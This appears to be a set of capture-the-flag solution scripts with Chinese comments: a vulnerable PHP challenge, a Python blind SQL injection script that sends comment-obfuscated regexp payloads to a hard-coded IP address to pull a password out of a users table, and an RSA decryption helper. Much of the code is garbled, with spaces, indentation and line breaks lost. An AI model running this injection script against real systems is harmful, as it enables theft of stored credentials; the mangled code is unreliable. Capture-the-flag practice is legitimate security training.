<?php error_reporting(0); include_once('flag.php'); if(isset($_GET['param1'])) { $str1=$_GET['param1']; if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend') die("Suvin doesn't like you"); if(isset($_GET['param2'])){ $str2=$_GET['param2']; if(!is_numeric($str2)) die('Suvin prefers strings of Numbers'); elseif($str2<3600*24*30) die('Suvin says the num is too short'); elseif($str2>3600*24*31) die('Suvin says the num is too long'); else { echo"Suvin says he's falling in love with you!"."</br>"; sleep(intval($str2)); } if (isset($_POST['param1']) && isset($_POST['param2'])) { $str1=$_POST['param1']; $str2=$_POST['param2']; if(strlen($str1)>1000) die("It's too long"); if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2))) echo$flag; else die("It's so similar to md5"); } } } ?>
url = 'http://219.219.61.234:20004/' password = "" string = [ord(i) for i in'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!_@-}{']#将字母转换为ascii码 a = '0x5e'# '\'的ascii码值 while(1): for j in string: if (hex(j)[2:]=='7b'): str='5c'+hex(j)[2:] #将'{'转义, else: str=hex(j)[2:]
time.sleep(0.1)
payload ="||/**/(select/**/password/**/from/**/users/**/limit/**/9,1)/**/regexp/**/binary/**/%s/**/#" % (a + str) # 盲注的查询语句 regexp binary 是区分大小写的正则匹配 data ={"username":"\\","password":payload} print(data) r = requests.post(url,data=data) #访问 if"success"in r.text: #print(r.text) password+=chr(j) print(password) a+=str break if"wrong"in r.text: break print(password)
import binascii import sys sys.setrecursionlimit(1000000) defByteToHex(bins): return''.join(["%02X" % x for x in bins]).strip() defn2s(num): t = hex(num)[2:-1] # python iflen(t) % 2 == 1: t = '0' + t \#print(t) return(binascii.a2b_hex(t).decode('latin1')) defegcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) defmodinv(a, m): g, x, y = egcd(a, m) if g != 1: print('modular inverse does not exist') return'null' else: return x % m c = 40448992051548719008529549070468060415257485938698092782029814901918646701101 p = 328413456989577256301798468872388310877 q = 324350545929838254331191385863847627003 e = 65537 n = p * q d = modinv(e, (p - 1) * (q - 1)) m = pow(c, d, n)
print (m)
数字转字符的脚本
1 2 3 4 5 6 7 8
import binascii defn2s(num): t = hex(num)[2:-1] # python iflen(t) % 2 == 1: t = '0' + t \#print(t) return(binascii.a2b_hex(t).decode('latin1')) print(n2s(a)) #a为上一个脚本计算出的数字